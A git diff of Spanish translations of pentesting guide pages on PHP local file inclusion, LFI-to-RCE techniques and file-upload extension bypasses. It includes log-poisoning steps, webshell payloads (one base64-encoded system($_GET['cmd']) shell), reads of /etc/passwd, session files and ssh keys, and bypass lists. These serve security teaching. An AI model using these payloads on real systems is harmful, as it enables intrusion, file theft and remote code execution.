**convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que **pivot with the next 2 bytes**, y d**elete the data until the junk data** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta que alcances el bit deseado a leak. +- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php provocará un **error**. +- El filtro **dechunk** **eliminará todo si el primer char no es un hexadecimal**, por lo que podemos saber si el primer char es hex. +- Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto observando cuándo aplicamos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no la eliminará y la bomba inicial provocará un error en php. +- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una `a`, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial. +- Usando otras transformaciones como **rot13** al principio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex). +- Cuando el primer char es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número. +- El problema final es ver **cómo leak más que la letra inicial**. Usando filtros de reordenamiento de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los chars y poner en la primera posición otras letras del texto. +- Y para poder obtener **further data** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que pivote con los siguientes 2 bytes, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta llegar al bit deseado para leak. En el post también se publicó una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Este wrapper permite acceder a los file descriptors que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos: +This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **file descriptors 0, 1 and 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque) +También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque) ### zip:// and rar:// Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\ -Para poder abusar del rar protocol **debe ser activado específicamente**. +Para poder abusar del protocolo rar, este **debe estar específicamente activado**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data " [!WARNING] -> Esta técnica es relevante en casos donde tú **controlas** la **file path** de una **PHP function** que va a **access a file**, pero no verás el contenido del archivo (como una simple llamada a **`file()`**) ya que el contenido no se muestra. +> Esta técnica es relevante en casos donde tú **controlas** la **file path** de una **PHP function** que va a **access a file** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) porque el contenido no se muestra. -En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede aprovecharse mediante PHP filter para **exfiltrate the content of a file via an error oracle**. +En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede ser abusado vía PHP filter para **exfiltrate the content of a file via an error oracle**. -En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **PHP function opening** el archivo provoque un **error**. +En resumen, la técnica usa la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **big** que la **PHP function opening** el archivo provoque un **error**. -Luego, para leak the first char, se utiliza el filter **`dechunk`** junto con otros como **base64** o **rot13**, y finalmente se emplean los filters **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **place other chars at the beggining and leak them**. +Luego, para leak the first char se usa el filter **`dechunk`** junto con otros como **base64** o **rot13** y finalmente los filters **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** se usan para **place other chars at the beggining and leak them**. **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -For the technical details check the mentioned post! +Para los detalles técnicos consulta el post mencionado! ## LFI2RCE @@ -429,18 +429,18 @@ For the technical details check the mentioned post! When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. -Typical exploitation workflow: -- Identificar un write primitive en un endpoint o background worker que acepte una path/filename y escriba contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). -- Determinar web-exposed directories. Ejemplos comunes: +Flujo típico de explotación: +- Identifica una primitiva de escritura en un endpoint o background worker que acepta una path/filename y escribe contenido al disco (p. ej., ingesta basada en mensajes, manejadores de comandos XML/JSON, extractores ZIP, etc.). +- Determina directorios expuestos en la web. Ejemplos comunes: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Construir un traversal path que salga del directorio de almacenamiento previsto hacia el webroot e incluya el contenido de tu webshell. -- Navega al payload depositado y ejecuta comandos. +- Construye una ruta de traversal que salga del directorio de almacenamiento previsto hacia el webroot, e incluye el contenido de tu webshell. +- Navega hasta el payload colocado y ejecuta comandos. Notas: -- El servicio vulnerable que realiza la escritura puede escuchar en un non-HTTP port (p. ej., un JMF XML listener en TCP 4004). El portal web principal (puerto distinto) servirá posteriormente tu payload. -- En stacks Java, estas escrituras de archivos a menudo se implementan con concatenación simple de `File`/`Paths`. La falta de canonicalisation/allow-listing es la falla principal. +- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no-HTTP (p. ej., un JMF XML listener en TCP 4004). El portal web principal (puerto diferente) servirá más tarde tu payload. +- En stacks Java, estas escrituras de archivos a menudo se implementan con simples concatenaciones `File`/`Paths`. La falta de canonicalisation/allow-listing es la falla central. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,26 +466,26 @@ in.transferTo(out); ``` -Mitigaciones que derrotan esta clase de bugs: -- Resuelve a una ruta canónica y asegura que sea descendiente de un directorio base en la lista de permitidos. -- Rechaza cualquier ruta que contenga `..`, raíces absolutas o letras de unidad; prefiere nombres de archivo generados. -- Ejecuta el proceso que escribe como una cuenta con pocos privilegios y separa los directorios de escritura de las raíces servidas. +Hardening that defeats this class of bugs: +- Resuelve a una ruta canónica y fuerza que sea descendiente de un directorio base allow-listed. +- Rechaza cualquier ruta que contenga `..`, raíces absolutas, o letras de unidad; prefiere nombres de archivo generados. +- Ejecuta el writer como una cuenta de bajos privilegios y segrega los directorios de escritura de las raíces servidas. ## Remote File Inclusion -Explicado previamente, [**sigue este enlace**](#remote-file-inclusion). +Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion). -### A través del archivo de registro de Apache/Nginx +### Vía archivo de logs de Apache/Nginx -Si el servidor Apache o Nginx es **vulnerable a LFI** en la función include, puedes intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, colocar dentro del **user agent** o en un **parámetro GET** una php shell como **``** e incluir ese archivo +Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, colocar en el **user agent** o en un **GET parameter** un php shell como **``** e incluir ese archivo > [!WARNING] -> Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** y **nada más se ejecutará**. +> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**. > -> Además, asegúrate de **escribir correctamente el payload** o PHP dará error cada vez que intente cargar el archivo de log y no tendrás una segunda oportunidad. +> Además, asegúrate de **escribir correctamente el payload** o PHP fallará cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad. -Esto también se puede hacer en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y esto podría destruir la Shell. El header **authorisation "basic"** contiene "user:password" en Base64 y eso se decodifica dentro de los logs. La PHPShell podría insertarse dentro de este header.\ -Otras posibles rutas de logs: +Esto también podría hacerse en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y esto podría destruir la Shell. El header **authorisation "basic"** contiene "user:password" en Base64 y es decodificado dentro de los logs. El PHPShell podría ser insertado dentro de este header.\ +Otros posibles archivos de log: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -499,33 +499,33 @@ Otras posibles rutas de logs: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Vía Email +### Vía correo electrónico **Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `` e intenta incluir el correo del usuario con una ruta como **`/var/mail/`** o **`/var/spool/mail/`** -### Vía /proc/\*/fd/\* +### Vía /proc/*/fd/* 1. Sube muchas shells (por ejemplo: 100) -2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede obtenerse por fuerza bruta) y $FD = el descriptor de archivo (también puede obtenerse por fuerza bruta) +2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser brute forced) y $FD el descriptor de archivo (también puede ser brute forced) ### Vía /proc/self/environ -Como con un archivo de registro, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ +Como un archivo de logs, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload -Si puedes upload un archivo, simplemente inyecta el shell payload en él (ej: ``). +Si puedes upload un archivo, simplemente inyecta el shell payload en él (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Para mantener el archivo legible es mejor inyectar en los metadatos de las imágenes/doc/pdf +Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf ### Mediante subida de archivo ZIP -Sube un archivo ZIP que contenga un PHP shell comprimido y accede: +Sube un archivo ZIP que contenga un PHP shell comprimido y accede a: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` @@ -536,7 +536,7 @@ Comprueba si el sitio web usa sesiones PHP (PHPSESSID) Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -En PHP, estas sesiones se almacenan en los archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ +En PHP, estas sesiones se almacenan en _/var/lib/php5/sess\\_\[PHPSESSID]\_ archivos ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -549,75 +549,75 @@ Usa el LFI para incluir el archivo de sesión de PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### A través de ssh +### Mediante ssh Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a **\/.ssh/id_rsa** -### **A través de** **vsftpd** _**logs**_ +### **Mediante** **vsftpd** _**logs**_ -Los logs del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En un escenario donde exista una vulnerabilidad Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos: +Los logs del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario en el que exista una Local File Inclusion (LFI) y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos: 1. Inyecta un PHP payload en el campo username durante el proceso de login. 2. Tras la inyección, utiliza la LFI para recuperar los logs del servidor desde _**/var/log/vsftpd.log**_. -### A través del php base64 filter (usando base64) +### Mediante el filtro base64 de php (usando base64) -Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Aquí hay un ejemplo de payload: +Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar eso para eludir la comprobación de extensión de archivo: si suministras base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Vía php filters (no se necesita archivo) +### Via php filters (no se necesita archivo) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters to generate arbitrary content** como salida. Lo que básicamente significa que puedes **generate arbitrary php code** para el include **without needing to write** en un archivo. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribirlo** en un archivo. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Vía segmentation fault +### Via segmentation fault -**Upload** un archivo que se almacenará como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y puedes buscarlo. +**Upload** un archivo que será almacenado como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y podrás buscarlo. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Vía Nginx temp file storage +### Via Nginx temp file storage -Si encontraste una **Local File Inclusion** y **Nginx** está corriendo delante de PHP podrías obtener RCE con la siguiente técnica: +Si encuentras una **Local File Inclusion** y **Nginx** está corriendo delante de PHP, podrías obtener RCE con la siguiente técnica: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### Vía PHP_SESSION_UPLOAD_PROGRESS +### Via PHP_SESSION_UPLOAD_PROGRESS -Si encontraste una **Local File Inclusion** incluso si **don't have a session** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **enable the session for you**. Podrías abusar de esto para obtener RCE: +Si encuentras una **Local File Inclusion** incluso si **no tienes una session** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la session por ti**. Podrías abusar de esto para obtener RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Vía temp file uploads in Windows +### Via temp file uploads in Windows -Si encontraste una **Local File Inclusion** y el servidor está ejecutándose en **Windows** podrías obtener RCE: +Si encuentras una **Local File Inclusion** y el servidor está corriendo en **Windows**, podrías obtener RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### Vía `pearcmd.php` + URL args +### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en las imágenes docker de php. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como argumento. Véase también [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) y [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -The following request create a file in `/tmp/hello.php` with the content ``: +La siguiente request crea un archivo en `/tmp/hello.php` con el contenido ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` @@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Mediante phpinfo() (file_uploads = on) -Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on puedes obtener RCE: +Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on, puedes obtener RCE: {{#ref}} @@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md ### Mediante compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Si encontraste una **Local File Inclusion** y puedes **exfiltrar la ruta** del archivo temporal PERO el **servidor** está **comprobando** si el **archivo a incluir tiene marcas PHP**, puedes intentar eludir esa comprobación con esta **Race Condition**: +Si encontraste una **Local File Inclusion** y **puedes exfiltrar la ruta** del archivo temporal PERO el **server** está **comprobando** si el **archivo a incluir tiene marcas PHP**, puedes intentar **evadir esa comprobación** con esta **Race Condition**: {{#ref}} @@ -648,23 +648,23 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Mediante eternal waiting + bruteforce -Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, podrías entonces **bruteforce nombres de archivo durante horas** para encontrar el archivo temporal: +Si puedes abusar del LFI para **subir archivos temporales** y hacer que el server **cuelgue** la ejecución de PHP, entonces podrías **brute force** nombres de archivo durante horas para encontrar el archivo temporal: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Para provocar un Fatal Error +### A Fatal Error Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo 2 veces para provocar ese error). -**No sé cómo puede ser útil esto pero podría serlo.**\ -_Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados._ +**No sé cuán útil es esto, pero podría serlo.**\ +_Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos se eliminan._
-## Referencias +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) @@ -673,6 +673,7 @@ _Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos so - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 1fb93068c..119aa8b82 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -2,36 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## Intro -Este [**escrito**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros de php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo. +## Introducción -Básicamente, el objetivo del script es **generar una cadena Base64** al **principio** del archivo que será **finalmente decodificada** proporcionando la carga útil deseada que será **interpretada por `include`**. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Lo que básicamente significa que puedes **generar código PHP arbitrario** para el include **sin necesidad de escribirlo** en un archivo. + +Básicamente el objetivo del script es **generar una cadena Base64** al **comienzo** del archivo que será **decodificada finalmente**, proporcionando la payload deseada que será **interpretada por `include`**. Las bases para hacer esto son: - `convert.iconv.UTF8.CSISO2022KR` siempre antepondrá `\x1b$)C` a la cadena -- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea base64 válido. Da algunos problemas si encuentra "=" inesperados, pero esos se pueden eliminar con el filtro `convert.iconv.UTF8.UTF7`. +- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea válido en base64. Da algunos problemas si encuentra un "=" inesperado, pero esos pueden ser eliminados con el filtro `convert.iconv.UTF8.UTF7`. El bucle para generar contenido arbitrario es: -1. anteponer `\x1b$)C` a nuestra cadena como se describió anteriormente -2. aplicar una cadena de conversiones iconv que deje nuestra base64 inicial intacta y convierta la parte que acabamos de anteponer a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64 -3. decodificar en base64 y volver a codificar en base64 la cadena, lo que eliminará cualquier basura en medio -4. Volver al paso 1 si la base64 que queremos construir aún no está terminada -5. decodificar en base64 para obtener nuestro código php +1. anteponer `\x1b$)C` a nuestra cadena como se describió arriba +2. aplicar una cadena de conversiones iconv que deje nuestro base64 inicial intacto y convierta la parte que acabamos de anteponer a una cadena donde el único carácter válido de base64 sea la siguiente parte de nuestro código PHP codificado en base64 +3. base64-decode y base64-encode la cadena, lo que eliminará cualquier basura intermedia +4. Volver al paso 1 si el base64 que queremos construir aún no está terminado +5. base64-decode para obtener nuestro código PHP > [!WARNING] -> **Includes** generalmente hacen cosas como **agregar ".php" al final** del archivo, lo que podría dificultar la explotación de esto porque tendrías que encontrar un archivo .php con un contenido que no mate la explotación... o **podrías simplemente usar `php://temp` como recurso** porque puede **tener cualquier cosa añadida en el nombre** (como +".php") y aún permitirá que la explotación funcione. +> **Includes** usualmente hacen cosas como **añadir ".php" al final** del archivo, lo que podría dificultar la explotación porque necesitarías encontrar un archivo .php con un contenido que no rompa el exploit... o **puedes usar `php://temp` como recurso** porque puede **tener cualquier cosa añadida en el nombre** (p. ej. +".php") y aun así permitir que el exploit funcione! -## Cómo agregar también sufijos a los datos resultantes +## Cómo añadir sufijos a los datos resultantes -[**Este escrito explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) cómo aún puedes abusar de los filtros de PHP para agregar sufijos a la cadena resultante. Esto es genial en caso de que necesites que la salida tenga algún formato específico (como json o tal vez agregar algunos bytes mágicos de PNG) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) cómo aún puedes abusar de PHP filters para añadir sufijos a la cadena resultante. Esto es útil en caso de que necesites que la salida tenga un formato específico (como json o quizá añadir algunos bytes mágicos de PNG) -## Herramientas Automáticas +## Herramientas automáticas - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(puede agregar sufijos)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** ## Script completo ```python @@ -95,7 +96,7 @@ print(r.text) ``` ### Mejoras -El script anterior está limitado a los caracteres base64 necesarios para esa carga útil. Por lo tanto, creé mi propio script para **fuerza bruta de todos los caracteres base64**: +El script anterior está limitado a los caracteres base64 necesarios para esa carga útil. Por lo tanto, creé mi propio script para **bruteforce todos los caracteres base64**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -250,9 +251,10 @@ find_vals($init); } ?> ``` -## Más Referencias +## Más referencias - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index b64675226..e7c3251f7 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,13 +1,13 @@ -# Carga de Archivos +# Carga de archivos {{#include ../../banners/hacktricks-training.md}} -## Metodología General de Carga de Archivos +## Metodología general de carga de archivos -Otras extensiones útiles: +Other useful extensions: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Trabajando en PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ +- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -15,13 +15,13 @@ Otras extensiones útiles: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Bypass de comprobaciones de extensiones de archivos +### Bypass file extensions checks -1. Si aplica, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._ -2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_ +1. Si aplican, **comprueba** las **extensiones anteriores**. También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._ +2. _Comprueba **añadir una extensión válida antes** de la extensión de ejecución (usa las extensiones anteriores también):_ - _file.png.php_ - _file.png.Php5_ -3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **fuerza bruta** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) +3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforcear** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Otras extensiones útiles: - _file._ - _file.php...._ - _file.pHp5...._ -4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga._ +4. Intenta eludir las protecciones **engañando al parser de extensiones** del servidor con técnicas como **duplicar** la **extensión** o **añadir basura** (**null** bytes) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,75 +40,75 @@ Otras extensiones útiles: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Agrega **otra capa de extensiones** a la verificación anterior: +5. Añade **otra capa de extensiones** a la comprobación previa: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión **_**.php**_**, pero **no necesariamente terminando en .php** ejecutará código): -- _ej: file.php.png_ -7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”) -8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php +6. Intenta poner la **extensión de ejecución antes** de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con la extensión **.php**, aunque no termine necesariamente en 